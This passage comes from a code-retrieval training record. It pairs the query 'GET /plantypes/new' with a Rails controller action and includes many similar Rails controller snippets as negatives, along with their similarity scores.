SegmentType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @segment_type }\n end\n end", "def show\n @premise_type = PremiseType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premise_type }\n end\n end", "def index\n authorize! :show, PointsEntryType\n load_active_points_entry_types\n\n respond_to do |format|\n format.html\n format.json { render json: @points_entry_types }\n end\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @stat_type }\n end\n end", "def show\n @type = Type.find(params[:id])\n @things = @type.things\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type }\n end\n end", "def show\n @ctype = Ctype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ctype }\n end\n end", "def show\n @ptypes = Ptype.find(params[:id])\n end", "def show\n @gl_type = GlType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gl_type }\n end\n end", "def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def plan_type\n return 'supporter' if owner.values[:paypal_active] == true\n return 'free' if owner.values[:plan_type].nil?\n return 'supporter' if owner.values[:plan_type].match /^plan_/\n return 'supporter' if owner.values[:plan_type] == 'special'\n owner.values[:plan_type]\n end", "def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end", "def show\n @payment_source_type = PaymentSourceType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @payment_source_type }\n end\n end" ]
[ "0.6901287", "0.66660297", "0.6581495", "0.64921963", "0.6484403", "0.64774877", "0.6429086", "0.6326996", "0.6325407", "0.630531", "0.62998223", "0.6296487", "0.6231509", "0.62080985", "0.6190842", "0.6188732", "0.6184507", "0.6183936", "0.6183171", "0.6153816", "0.610817", "0.6094163", "0.6080309", "0.60742724", "0.6073543", "0.60526586", "0.6049946", "0.6049946", "0.6048849", "0.6048083", "0.6038604", "0.6029386", "0.6020559", "0.6009401", "0.6002961", "0.59893703", "0.59804803", "0.597811", "0.597811", "0.59729314", "0.596994", "0.5969268", "0.59592783", "0.59533083", "0.59514993", "0.59499073", "0.593534", "0.59302735", "0.5921903", "0.5921618", "0.59134126", "0.59097034", "0.59022224", "0.58957464", "0.58949834", "0.58926904", "0.5885069", "0.5883319", "0.5883015", "0.58800256", "0.58751637", "0.5870984", "0.58566123", "0.5848847", "0.5846593", "0.5841672", "0.58375543", "0.58367693", "0.5834802", "0.58322036", "0.5826141", "0.58259743", "0.5823305", "0.58181983", "0.5816437", "0.5808952", "0.58068025", "0.58025646", "0.57912815", "0.57807714", "0.57718253", "0.5765201", "0.5762802", "0.5762024", "0.57618946", "0.57618946", "0.57569563", "0.57522607", "0.5750602", "0.5749928", "0.5749894", "0.57490027", "0.57425404", "0.5731002", "0.5725856", "0.5724187", "0.5715086", "0.5712963", "0.57109374", "0.5708086" ]
0.7730278
0
GET /plantypes/new GET /plantypes/new.json
def new @plantype = Plantype.new respond_to do |format| format.html # new.html.erb format.json { render json: @plantype } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @plantype = Plantype.new(params[:plantype])\n\n respond_to do |format|\n if @plantype.save\n format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' }\n format.json { render json: @plantype, status: :created, location: @plantype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @plantype_strategy = PlantypeStrategy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype_strategy }\n end\n end", "def new\n @type = Type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @type }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan }\n end\n end", "def new\n @klassplan = Klassplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @klassplan }\n end\n end", "def new\n @costtype = Costtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @costtype }\n end\n end", "def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_plan }\n end\n end", "def new\r\n @general_plan = GeneralPlan.new\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @general_plan }\r\n end\r\n end", "def new\n @newtype = params[:newtype]\n @ptbudget = Ptbudget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end", "def new\n @crate_type = CrateType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @crate_type }\n end\n end", "def new\n @plannegocio = Plannegocio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plannegocio }\n end\n end", "def new\n @tasktype = Tasktype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tasktype }\n end\n end", "def new\n @ctype = Ctype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ctype }\n end\n end", "def new\n @resource_type = ResourceType.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource_type }\n end\n end", "def new\n @client_type = ClientType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_type }\n end\n end", "def new\n @act_type = ActType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @act_type }\n end\n end", "def new\n @travel_type = TravelType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @travel_type }\n end\n end", "def new\n @page_type = PageType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_type }\n end\n end", "def new\n @trtype = Trtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trtype }\n end\n end", "def new\n @task_type = TaskType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_type }\n end\n end", "def new\n @task_type = @project.task_types.new\n\n respond_to do |format|\n format.js\n end\n end", "def new\n @breadcrumb = 'create'\n @invoice_type = InvoiceType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_type }\n end\n end", "def new\n @realty_type = RealtyType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @realty_type }\n end\n end", "def new\n @contract_type = ContractType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract_type }\n end\n end", "def new\n @panel_plan = Panel::Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @panel_plan }\n end\n end", "def new\n @lunchplan = Lunchplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lunchplan }\n end\n end", "def new\n @collection_type = CollectionType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection_type }\n end\n end", "def new\n @type_customer = TypeCustomer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @type_customer }\n end\n end", "def new\n @member_type = MemberType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @member_type }\n end\n end", "def new\n @mtype = Mtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mtype }\n end\n end", "def new\n @contractor_type = ContractorType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contractor_type }\n end\n end", "def new\n @customer = Customer.new\n @customer_types = [CustomerType.new]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @customer }\n end\n end", "def new\n @fieldtype = Fieldtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fieldtype }\n end\n end", "def new\n @resource = Resource.new\n @resource_types=ResourceType.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "def new\n @breadcrumb = 'create'\n @product_type = ProductType.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_type }\n end\n end", "def new\n @type_person = TypePerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @type_person }\n end\n end", "def new\n @vet_lab_type = VetLabType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vet_lab_type }\n end\n end", "def new\n @business_type = BusinessType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @business_type }\n end\n end", "def new\n @run_type = RunType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @run_type }\n end\n end", "def new\n @credit_type = CreditType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @credit_type }\n end\n end", "def new\n @breadcrumb = 'create'\n @tariff_type = TariffType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tariff_type }\n end\n end", "def new\n @gl_type = GlType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gl_type }\n end\n end", "def new\n @breadcrumb = 'create'\n @timerecord_type = TimerecordType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timerecord_type }\n end\n end", "def new\n @dept_type = DeptType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @dept_type }\n end\n end", "def new\n @premise_type = PremiseType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @premise_type }\n end\n end", "def new\n @producttype = Producttype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @producttype }\n end\n end", "def new\n @sslplan = Sslplan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sslplan }\n end\n end", "def new\n @investment_type = InvestmentType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @investment_type }\n end\n end", "def new\n @site_type = SiteType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site_type }\n end\n end", "def new\n @plan_setting = PlanSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_setting }\n end\n end", "def new\n @boxtype = Boxtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @boxtype }\n end\n end", "def new\n @work_plan = WorkPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work_plan }\n end\n end", "def new\n @plan = Plan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @plan }\n end\n end", "def new\n @budgeting_type = BudgetingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgeting_type }\n end\n end", "def create # rubocop:disable Metrics/AbcSize\n attrs = params.require(plan_type).permit(CREATE_PARAMS)\n @plan = collection.build(attrs)\n\n if plan.save\n if block_given?\n yield\n else\n plan.reload\n\n respond_to do |format|\n format.html do\n flash[:notice] = \"Created #{plan.class.model_name.human} #{plan.name}\"\n # collection.build to create new record to properly generate path to index action (rails)\n redirect_to plans_index_path\n end\n end\n end\n\n else\n render :new\n end\n end", "def new\n @itype = Itype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @itype }\n end\n end", "def new\n @girltype = Girltype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @girltype }\n end\n end", "def new\n @info_type = InfoType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @info_type }\n end\n end", "def new\n @instance_type = InstanceType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance_type }\n end\n end", "def new\n @talent = Talent.new\n @types = Type.all\n \n respond_to do |format|\n format.html \n format.json { render :json => @talent }\n end\n end", "def new\n @breadcrumb = 'create'\n @entity_type = EntityType.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity_type }\n end\n end", "def new\n @agency_type = AgencyType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agency_type }\n end\n end", "def new\n @category_type = CategoryType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @category_type }\n end\n end", "def new\r\n @work_plan = WorkPlan.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @work_plan }\r\n end\r\n end", "def new\n @run = Run.new \n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @run }\n format.json { render json: @run_types}\n end\n end", "def new\n @incident_type = IncidentType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incident_type }\n end\n end", "def new\n @step_type = StepType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @step_type }\n end\n end", "def new\n @ftype = Ftype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ftype }\n end\n end", "def new\n if params[:type]\n if @form = Form.create(params.slice(:type))\n @form.client = @client\n @form.date_submitted = Date.today\n @form.needs_review = true\n @form.herald = account.sca_name\n @form.heralds_email = account.contact_info\n respond_to do |format|\n format.text { render :text => @form.inspect }\n format.html # new.html.erb \n format.xml { render :xml => @form }\n end\n return\n else\n @error = \"Unknown type: #{params[:type]} from params #{params.inspect}\"\n end\n end\n @client = params[:client_id]\n @types = Form.types\n render :action => 'types'\n end", "def new\n @plan = Plan.new\nend", "def new\n @all_field_type = AllFieldType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @all_field_type }\n end\n end", "def new\n if current_user && current_user.admin?\n @page_type = PageType.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_type }\n end\n \n else\n flash[:danger] = 'Only administrators can modify page_types! <a href=\"' + new_user_session_path + '\">Log in to continue.</a>'\n redirect_to root_path\n end\n end", "def new\n @servicetype = Servicetype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @servicetype }\n end\n end", "def new\n @planner = Planner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planner }\n end\n end", "def new\n @sample_type = SampleType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sample_type }\n end\n end", "def new\n @local_plan = LocalPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @local_plan }\n end\n end", "def new\n @single_plan = SinglePlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @single_plan }\n end\n end", "def new\n @entry_type = EntryType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry_type }\n end\n end", "def new\n @types_of_apprenticeship = TypesOfApprenticeship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @types_of_apprenticeship }\n end\n end", "def new\n @plan_milestone = PlanMilestone.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_milestone }\n end\n end", "def new\n @plan_de_ventum = PlanDeVentum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plan_de_ventum }\n end\n end", "def new\n @service_type = ServiceType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @service_type }\n end\n end", "def new\n @opportunity_type = OpportunityType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @opportunity_type }\n end\n end", "def new\n @payment_source_type = PaymentSourceType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment_source_type }\n end\n end", "def new\n @breadcrumb = 'create'\n @infrastructure_type = InfrastructureType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @infrastructure_type }\n end\n end", "def new\n @building_type = BuildingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @building_type }\n end\n end", "def new\n @ip_type = IpType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ip_type }\n end\n end", "def new\n @sites = current_user.sites\n @post = Post.new\n @post_type = params[:post_type]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end", "def new\n @servicetype = Servicetype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @servicetype }\n end\n end", "def new\n @person = people_type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end", "def new\n @fact = fact_type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fact }\n end\n end", "def new\n @kind = Kind.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kind }\n end\n end", "def new\n @pubtype = Pubtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pubtype }\n end\n end", "def new\n @tipo_actividad = TipoActividad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_actividad }\n end\n end", "def new\n @type_course = TypeCourse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @type_course }\n end\n end", "def new\n @security_proj_type = SecurityProjType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @security_proj_type }\n end\n end", "def new\n @paper_type = PaperType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paper_type }\n end\n end", "def new\n @bagtype = Bagtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bagtype }\n end\n end", "def new\n @fish_type = FishType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fish_type }\n end\n end" ]
[ "0.7372502", "0.7326829", "0.7272325", "0.72034144", "0.72034144", "0.70962554", "0.7012722", "0.70046", "0.6981302", "0.68949616", "0.6889869", "0.6884477", "0.6872197", "0.6870096", "0.6867721", "0.683738", "0.6833416", "0.6822855", "0.68092793", "0.67990726", "0.6766987", "0.6765185", "0.6754605", "0.6753284", "0.6739324", "0.67307127", "0.6695875", "0.6693929", "0.6691047", "0.6689772", "0.66860306", "0.66853845", "0.6684245", "0.66688377", "0.6668078", "0.66623795", "0.66547734", "0.66522974", "0.66450447", "0.664403", "0.6619937", "0.6613589", "0.6613035", "0.6610151", "0.6607239", "0.6597831", "0.65948457", "0.65946084", "0.65893185", "0.6585479", "0.6576924", "0.65672266", "0.6561785", "0.6543975", "0.65425134", "0.65423757", "0.6542053", "0.65364647", "0.65320003", "0.652554", "0.65218264", "0.65195054", "0.6517472", "0.6512195", "0.65080345", "0.65018106", "0.6492703", "0.64866704", "0.6481222", "0.64714164", "0.64669615", "0.6458809", "0.6451911", "0.64489067", "0.6444086", "0.64437073", "0.6441129", "0.6439824", "0.64395905", "0.64367205", "0.6435394", "0.6433031", "0.64315665", "0.6428828", "0.6426906", "0.64246935", "0.6423288", "0.6423132", "0.6409088", "0.6408103", "0.64024615", "0.6400506", "0.63918835", "0.6376127", "0.63757676", "0.63751733", "0.63743013", "0.6371408", "0.6371218", "0.63695973" ]
0.81285655
0
POST /plantypes POST /plantypes.json
def create @plantype = Plantype.new(params[:plantype]) respond_to do |format| if @plantype.save format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' } format.json { render json: @plantype, status: :created, location: @plantype } else format.html { render action: "new" } format.json { render json: @plantype.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @plantype = Plantype.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype }\n end\n end", "def tipo_plan_params\n params.require(:tipo_plan).permit(:tipo, :descripcion, :plan_paciente_id)\n end", "def create # rubocop:disable Metrics/AbcSize\n attrs = params.require(plan_type).permit(CREATE_PARAMS)\n @plan = collection.build(attrs)\n\n if plan.save\n if block_given?\n yield\n else\n plan.reload\n\n respond_to do |format|\n format.html do\n flash[:notice] = \"Created #{plan.class.model_name.human} #{plan.name}\"\n # collection.build to create new record to properly generate path to index action (rails)\n redirect_to plans_index_path\n end\n end\n end\n\n else\n render :new\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def create\n @plantype_strategy = PlantypeStrategy.new(params[:plantype_strategy])\n\n respond_to do |format|\n if @plantype_strategy.save\n format.html { redirect_to @plantype_strategy, notice: 'Plantype strategy was successfully created.' }\n format.json { render json: @plantype_strategy, status: :created, location: @plantype_strategy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype_strategy.errors, status: :unprocessable_entity }\n end\n end\n end", "def type_params\n params.from_jsonapi.require(:type).permit(:name)\n end", "def plan_params\n params.require(:plan).permit(:title, :body, :is_pending, :team_ids, :plan_status, :user_id, team_ids: [])\n end", "def create\n @plan = Plan.new(params[:plan])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def tipo_de_plan_params\n params.require(:tipo_de_plan).permit(:tipo_de_plan)\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:nombre, :codigo, :precio, :empresa_id, :servicio_id, :type_plan_id, :tipo_cliente_id, :state, :necesidad)\n end", "def create\n @planet_type = PlanetType.new(planet_type_params)\n\n respond_to do |format|\n if @planet_type.save\n format.html { redirect_to @planet_type, notice: 'Planet type was successfully created.' }\n format.json { render :show, status: :created, location: @planet_type }\n else\n format.html { render :new }\n format.json { render json: @planet_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def planet_type_params\n params.require(:planet_type).permit(:name)\n end", "def create\n @klassplan = Klassplan.new(params[:klassplan])\n\n respond_to do |format|\n if @klassplan.save\n format.html { redirect_to @klassplan, notice: 'Klassplan was successfully created.' }\n format.json { render json: @klassplan, status: :created, location: @klassplan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @klassplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_dummy_type\n params[:data] ||= {}\n params[:data][:type] = resource_klass._type.to_s\n end", "def create_break_type(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/labor/break-types',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def create\n @plan = Plan.new(plan_params)\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan creado exitosamente.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_create_params\n params.require(:plan).permit(\n :stripe_id, :amount, :currency, :interval, :interval_count, :name,\n :statement_descriptor, :trial_period_days, :order, :highlight, :features, :description, :group\n )\n end", "def plan_params\n params.require(:plan).permit(:date, :breakfast_id, :lunch_id, :dinner_id, :food_id)\n end", "def create\n @plan = Plan.create(plan_params)\n @incident = Incident.find(params[:incident_id])\n respond_to do |format|\n if @plan.save\n format.html { redirect_to incident_plan_path(@incident, @plan) }\n format.json { redirect_to incident_plan_path(@incident, @plan) }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @page_plan = PagePlan.new(page_plan_params)\n respond_to do |format|\n if @page_plan.save\n format.html { redirect_to @page_plan, notice: 'Page plan was successfully created.' }\n format.json { render :show, status: :created, location: @page_plan }\n else\n format.html { render :new }\n format.json { render json: @page_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :start_date, :end_date, :area_id)\n end", "def plan_params\n params.require(:plan).permit(:date, :user_id, :situation, :incident_id, :weather, \n :general_safety, :prepared_by, :org_list, :assignment_list, \n :comm_plan, :med_plan, :incident_map, :comm_plan, \n :travel_plan, :date_prepare, :time_prepared, :ops_period,\n :approved_by)\n end", "def show\n @plantype = Plantype.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plantype }\n end\n end", "def create\n @realty_type = RealtyType.new(params[:realty_type])\n\n respond_to do |format|\n if @realty_type.save\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully created.' }\n format.json { render json: @realty_type, status: :created, location: @realty_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n @plan.user = current_user\n @plan.request = Request.find( params[:request_id] )\n\n respond_to do |format|\n if @plan.save\n @plan.request.days.times do |day|\n @plan.plan_days << PlanDay.create( { plan_id: @plan.id, day: day+1 } )\n end\n\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render json: @plan, status: :created, location: @plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :locations, :service_providers, :custom, :special, :monthly_mails, plan_countries_attributes: [:id, :country_id, :price])\n end", "def create\n @single_plan = SinglePlan.new(params[:single_plan])\n @single_plan.workout_plans << @workout_plan\n\n respond_to do |format|\n if @single_plan.save\n flash[:notice] = 'Single Plan was successfully created.'\n format.html { redirect_to(@single_plan) }\n format.xml { render :xml => @single_plan, :status => :created, :location => @single_plan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @single_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @panel_plan = Panel::Plan.new(params[:panel_plan])\n\n respond_to do |format|\n if @panel_plan.save\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully created.') }\n format.json { render :json => @panel_plan, :status => :created, :location => @panel_plan }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\r\n @general_plan = GeneralPlan.new(params[:general_plan])\r\n\r\n respond_to do |format|\r\n if @general_plan.save\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully created.' }\r\n format.json { render json: @general_plan, status: :created, location: @general_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def new\n @plantype_strategy = PlantypeStrategy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @plantype_strategy }\n end\n end", "def create\n @socialize_plan = SocializePlan.new(params[:socialize_plan])\n\n respond_to do |format|\n if @socialize_plan.save\n format.html { redirect_to(@socialize_plan, :notice => 'Socialize plan was successfully created.') }\n format.xml { render :xml => @socialize_plan, :status => :created, :location => @socialize_plan }\n format.json { render :json => @socialize_plans }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @socialize_plan.errors, :status => :unprocessable_entity }\n format.json { render :json => @socialize_plan.errors, :status => :unprocessable_entity}\n end\n end\n end", "def create\n @business_plan = BusinessPlan.new(business_plan_params)\n\n respond_to do |format|\n if @business_plan.save\n format.html { redirect_to @business_plan, notice: 'Business plan was successfully created.' }\n format.json { render :show, status: :created, location: @business_plan }\n else\n format.html { render :new }\n format.json { render json: @business_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n puts '=============================='\n puts params\n puts '=============================='\n starting_year = params[:post][:starting_year]\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n \n respond_to do |format|\n if @plan.save\n \n fall = Term.new\n spring = Term.new\n summer = Term.new\n fall.term_name = 'Fall ' + starting_year\n starting_year = (starting_year.to_i + 1).to_s\n spring.term_name = 'Spring ' + starting_year\n summer.term_name = 'Summer ' + starting_year\n fall.plan_id = @plan.id\n spring.plan_id = @plan.id\n summer.plan_id = @plan.id\n fall.save!\n spring.save!\n summer.save!\n\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @weekplan = Weekplan.new(weekplan_params)\n\n respond_to do |format|\n if @weekplan.save\n format.html { redirect_to @weekplan, notice: 'The plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @weekplan }\n else\n format.html { render action: 'new' }\n format.json { render json: @weekplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(params[:plan])\n \n respond_to do |format|\n if @plan.save\n flash[:notice] = \"Plan successfully submitted.\"\n format.html { redirect_to :back }\n format.mobile { redirect_to :back }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id)\n end", "def plan_params\n params.require(:plan).permit(:title, :body, :id)\n end", "def create\n @test_plan = TestPlan.new(params[:test_plan])\n @test_plan.report_definitions << ReportDefinition.find(params[:report_definition_id]) if params[:report_definition_id]\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to @test_plan, 